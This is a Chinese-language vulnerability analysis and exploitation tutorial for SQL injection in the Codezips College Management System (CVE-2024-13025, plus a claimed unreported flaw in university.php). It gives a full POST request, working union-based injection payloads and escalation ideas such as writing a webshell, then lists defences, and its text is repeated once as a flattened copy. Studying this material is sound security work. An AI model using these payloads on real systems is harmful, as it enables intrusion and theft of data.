CVE-2024-13025-Codezips 大学管理系统 faculty.php sql 注入分析及拓展
字数 1355 2025-08-22 12:23:06

Codezips 大学管理系统 SQL 注入漏洞分析及利用教程

漏洞概述

本教程详细分析 Codezips 大学管理系统 (College Management System In PHP With Source Code) 中存在的 SQL 注入漏洞(CVE-2024-13025)以及一个未被发现的 0day 漏洞。该系统是一个基于 PHP 的大学管理系统,主要用于教育机构管理学生、教师和课程等信息。

漏洞详情

1. CVE-2024-13025 - faculty.php SQL 注入

漏洞位置: /college-mgmt-php-master/Front-end/faculty.php

漏洞类型: SQL 注入

影响参数: book_namebook_author

漏洞成因: 用户输入未经过滤直接拼接到 SQL 查询语句中

漏洞代码分析

<?php 
if(isset($_POST['search_book'])) {
    $name=$_POST['book_name'];
    $author=$_POST['book_author'];
    $query = "SELECT * FROM book WHERE book_name = '$name' AND author = '$author'";
    $results = mysqli_query($db, $query);
    $row = mysqli_fetch_array($results);
?>

这段代码存在以下问题:

  1. 直接使用 $_POST 获取用户输入
  2. 未对用户输入进行任何过滤或转义
  3. 直接将用户输入拼接到 SQL 查询语句中

漏洞复现

请求方法: POST

请求头:

POST /college-mgmt-php-master/Front-end/faculty.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=40a20a299e19c127ad0ed71b0cf004cb
Content-Length: 59

恶意负载:

book_name=x'+union+select+NULL,database(),NULL,NULL--+-&book_author=x&search_book=

利用说明:

  1. 通过 book_name 参数注入 SQL 代码
  2. 使用联合查询获取数据库信息
  3. --+- 用于注释掉原始查询的剩余部分

2. 0day 漏洞 - university.php SQL 注入

漏洞位置: /college-mgmt-php-master/Front-end/university.php

漏洞类型: SQL 注入

漏洞描述: 该文件存在与 faculty.php 相同的 SQL 注入漏洞,但之前未被发现

利用方法: 使用联合注入技术,与 faculty.php 的利用方式类似

3. 风险代码问题

文件位置: 未明确指定(可能是 visitor 表相关处理文件)

问题描述:

  1. 存在绕过前端验证的风险
  2. 可以插入恶意数据绕过邮箱格式、密码长度等前端检查
  3. 可能导致插入恶意代码或执行非预期操作

漏洞利用进阶

1. 信息收集

通过 SQL 注入可以获取以下信息:

  • 数据库名称
  • 表结构
  • 用户凭证
  • 系统配置

示例查询获取数据库版本:

book_name=x'+union+select+NULL,version(),NULL,NULL--+-&book_author=x&search_book=

2. 数据提取

使用以下技术提取数据:

  • 联合查询
  • 基于错误的注入
  • 基于时间的盲注
  • 外带数据 (OOB)

3. 权限提升

如果数据库用户具有足够权限,可以:

  • 读取系统文件
  • 写入文件(获取 webshell)
  • 执行系统命令

防御措施

1. 输入验证

对所有用户输入进行严格验证:

  • 白名单验证
  • 数据类型检查
  • 长度限制

2. 参数化查询

使用预处理语句和参数化查询:

$stmt = $db->prepare("SELECT * FROM book WHERE book_name = ? AND author = ?");
$stmt->bind_param("ss", $name, $author);
$stmt->execute();

3. 最小权限原则

数据库用户应仅具有必要的最小权限

4. 错误处理

避免显示详细的数据库错误信息给用户

5. Web 应用防火墙

部署 WAF 防止 SQL 注入攻击

总结

Codezips 大学管理系统存在多处安全问题:

  1. faculty.php 存在已公开的 SQL 注入漏洞 (CVE-2024-13025)
  2. university.php 存在未被发现的 SQL 注入漏洞 (0day)
  3. 系统存在风险代码,可能绕过前端验证

开发人员应立即修复这些问题,用户应避免在生产环境中使用存在漏洞的版本。

Codezips 大学管理系统 SQL 注入漏洞分析及利用教程 漏洞概述 本教程详细分析 Codezips 大学管理系统 (College Management System In PHP With Source Code) 中存在的 SQL 注入漏洞(CVE-2024-13025)以及一个未被发现的 0day 漏洞。该系统是一个基于 PHP 的大学管理系统,主要用于教育机构管理学生、教师和课程等信息。 漏洞详情 1. CVE-2024-13025 - faculty.php SQL 注入 漏洞位置 : /college-mgmt-php-master/Front-end/faculty.php 漏洞类型 : SQL 注入 影响参数 : book_name 和 book_author 漏洞成因 : 用户输入未经过滤直接拼接到 SQL 查询语句中 漏洞代码分析 这段代码存在以下问题: 直接使用 $_POST 获取用户输入 未对用户输入进行任何过滤或转义 直接将用户输入拼接到 SQL 查询语句中 漏洞复现 请求方法 : POST 请求头 : 恶意负载 : 利用说明 : 通过 book_name 参数注入 SQL 代码 使用联合查询获取数据库信息 --+- 用于注释掉原始查询的剩余部分 2. 0day 漏洞 - university.php SQL 注入 漏洞位置 : /college-mgmt-php-master/Front-end/university.php 漏洞类型 : SQL 注入 漏洞描述 : 该文件存在与 faculty.php 相同的 SQL 注入漏洞,但之前未被发现 利用方法 : 使用联合注入技术,与 faculty.php 的利用方式类似 3. 风险代码问题 文件位置 : 未明确指定(可能是 visitor 表相关处理文件) 问题描述 : 存在绕过前端验证的风险 可以插入恶意数据绕过邮箱格式、密码长度等前端检查 可能导致插入恶意代码或执行非预期操作 漏洞利用进阶 1. 信息收集 通过 SQL 注入可以获取以下信息: 数据库名称 表结构 用户凭证 系统配置 示例查询获取数据库版本: 2. 数据提取 使用以下技术提取数据: 联合查询 基于错误的注入 基于时间的盲注 外带数据 (OOB) 3. 权限提升 如果数据库用户具有足够权限,可以: 读取系统文件 写入文件(获取 webshell) 执行系统命令 防御措施 1. 输入验证 对所有用户输入进行严格验证: 白名单验证 数据类型检查 长度限制 2. 参数化查询 使用预处理语句和参数化查询: 3. 最小权限原则 数据库用户应仅具有必要的最小权限 4. 错误处理 避免显示详细的数据库错误信息给用户 5. Web 应用防火墙 部署 WAF 防止 SQL 注入攻击 总结 Codezips 大学管理系统存在多处安全问题: faculty.php 存在已公开的 SQL 注入漏洞 (CVE-2024-13025) university.php 存在未被发现的 SQL 注入漏洞 (0day) 系统存在风险代码,可能绕过前端验证 开发人员应立即修复这些问题,用户应避免在生产环境中使用存在漏洞的版本。